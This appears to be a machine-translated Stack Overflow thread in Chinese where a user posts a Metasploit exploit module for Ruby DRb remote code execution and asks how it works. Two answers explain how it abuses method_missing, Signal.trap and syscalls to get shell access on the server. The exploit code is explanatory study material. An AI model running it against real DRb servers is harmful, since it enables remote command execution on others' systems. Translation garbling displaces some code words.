我一直在使用metasploit查看DRb中的旧bug,它使用的方法:
def exploit
serveruri = datastore['URI']
DRb.start_service
p = DRbObject.new_with_uri(serveruri)
class << p
undef :send
end
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
rescue Errno::EBADF
# 64 bit system
pid = p.send(:syscall, 39)
p.send(:syscall, 62, pid, 23)
end
p.send(:my_eval, payload.encoded)
end
我不是一个红宝石程序员,但我对除了几行之外发生的事情有一个普遍的认识。
任何人都可以解释第5-9行中发生的事情吗? (从“class&lt;&lt; ...”开始)
答案 0 :(得分:2)
class << p
undef :send
end
未定义对象send
的{{1}}方法(p
用于在接收器上动态调用方法)。
这样做是为了利用send
的{{1}}实现,它将方法调用路由到远程对象。我对DRbObject
并不太熟悉,但我猜这可能是为了让事情经过method_missing
的{{1}}检查,但我会将其保留为对你的练习,因为它超出了这里提出的问题的范围。
一旦它通过DRb
实现了它需要做的任何事情,它就会在服务器进程上向DRbServer
添加一个方法check_insecure_method
,然后使用method_missing
来执行有效负载。一个shell命令。
答案 1 :(得分:2)
class << p
undef :send
end
此块在本地send
实例上取消定义DRbObject
。正如迈克尔指出的那样,如果DRbObject
没有定义方法,它将使用method_missing
将方法调用路由到远程服务器。
在这种情况下,所有后续的send
调用都将路由到远程服务器并在那里进行评估,而不是本地实例。
p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")
这会触发Signal.trap
信号23和一个似乎包含一大块代码的符号,如果进行评估,它将在Object
上创建一个方法,提供对shell的直接访问。
根据文档,Signal.trap
可用于在从操作系统接收特定信号时运行块或命令。目前还不是很清楚命令是什么,所以我做了一些游戏。
> pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test #=> 1
看起来符号形式的命令将转换为字符串,然后由eval
转换为Signal.trap
。
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
此部分触发调用Unix内核函数的Kernel#syscall
。 rescue
位处理64位系统调用号。我们来看看32位部分:
p.send(:syscall, 20)
应评估为sys_getpid()
p.send(:syscall, 37, pid, 23)
应评估为sys_kill(<pid>, 23)
。这将触发为信号23
设置的早期陷阱。总之,利用:
send
以强制通过method_missing
method_missing
触发Signal.trap(23)
,将一大块红宝石代码转换为符号形式的单行字符串Kernel#syscall
获取当前正在运行的进程的PID Kernel#syscall
来调用kill -23 <pid>
,这会导致设置为2的陷阱触发,这反过来会破坏提供的符号,以便在my_eval
上创建Object
方法它提供对system
(shell命令行访问)my_eval
方法
醇>
参考文献:
http://syscalls.kernelgrok.com/
https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap
https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall